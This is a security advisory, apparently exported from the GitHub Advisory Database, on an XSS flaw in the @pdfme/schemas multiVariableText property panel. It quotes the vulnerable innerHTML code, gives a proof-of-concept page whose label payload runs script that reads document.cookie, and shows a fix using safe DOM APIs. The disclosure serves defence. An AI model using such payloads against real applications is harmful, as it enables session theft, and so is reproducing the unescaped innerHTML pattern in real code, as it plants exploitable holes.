@pdfme/schemas
Affected
- introduced
0, fixed5.5.10(semver)
Fixed versions
5.5.10
Fix
- Fixed version
5.5.10npm install @pdfme/[email protected]
Advisory
Also known as: CVE-2026-82865
PDFME has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel
Summary
The multiVariableText property panel in @pdfme/schemas constructs HTML via string concatenation and assigns it to innerHTML using unsanitized i18n label values. An attacker who can control label overrides passed through options.labels can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no {variables} in its text.
Details
When a user selects a multiVariableText schema field that contains no {variable} placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into innerHTML.
Vulnerable sink — packages/schemas/src/multiVariableText/propPanel.ts:65-71:
// Use safe string concatenation for innerHTML
const typingInstructions = i18n('schemas.mvt.typingInstructions');
const sampleField = i18n('schemas.mvt.sampleField');
para.innerHTML =
typingInstructions +
` <code style="color:${safeColorValue}; font-weight:bold;">{` +
sampleField +
'}</code>';
The comment on line 64 claims "safe string concatenation" but the result is assigned to innerHTML with no HTML escaping applied to typingInstructions or sampleField.
i18n lookup has no escaping — packages/ui/src/i18n.ts:903:
export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key];
This is a plain dictionary lookup — no HTML encoding or sanitization.
Label override via deep merge — packages/ui/src/components/AppContextProvider.tsx:57-63:
let dict = getDict(lang);
if (options.labels) {
dict = deepMerge(
dict as unknown as Record<string, unknown>,
options.labels as unknown as Record<string, unknown>,
) as typeof dict;
}
User-supplied options.labels values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as z.record(z.string(), z.string()) — enforcing type but not content safety.
Inconsistency: The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.
PoC
<html>
<body>
<div id="designer-container" style="width:100%;height:700px;"></div>
<script type="module">
import { Designer } from '@pdfme/ui';
import { multiVariableText } from '@pdfme/schemas';
const template = {
basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },
schemas: [[{
type: 'multiVariableText',
name: 'field1',
text: 'plain text with no variables',
content: '{}',
variables: [],
position: { x: 20, y: 20 },
width: 100,
height: 20,
readOnly: true,
}]],
};
new Designer({
domContainer: document.getElementById('designer-container'),
template,
plugins: { multiVariableText },
options: {
labels: {
'schemas.mvt.typingInstructions':
'<img src=x onerror="document.title=document.cookie">Inject: ',
'schemas.mvt.sampleField': 'safe',
},
},
});
</script>
</body>
</html>
field1) in the Designer canvas to select it.onerror handler executes, setting document.title to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.Impact
Recommended Fix
Replace innerHTML with safe DOM APIs in packages/schemas/src/multiVariableText/propPanel.ts:
// BEFORE (vulnerable):
para.innerHTML =
typingInstructions +
` <code style="color:${safeColorValue}; font-weight:bold;">{` +
sampleField +
'}</code>';
// AFTER (safe):
para.appendChild(document.createTextNode(typingInstructions + ' '));
const codeEl = document.createElement('code');
codeEl.style.color = safeColorValue;
codeEl.style.fontWeight = 'bold';
codeEl.textContent = `{${sampleField}}`;
para.appendChild(codeEl);
This ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.
Medium Basis: The source's own band: MODERATE
0, fixed 5.5.10 (semver)5.5.10
5.5.10npm install @pdfme/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0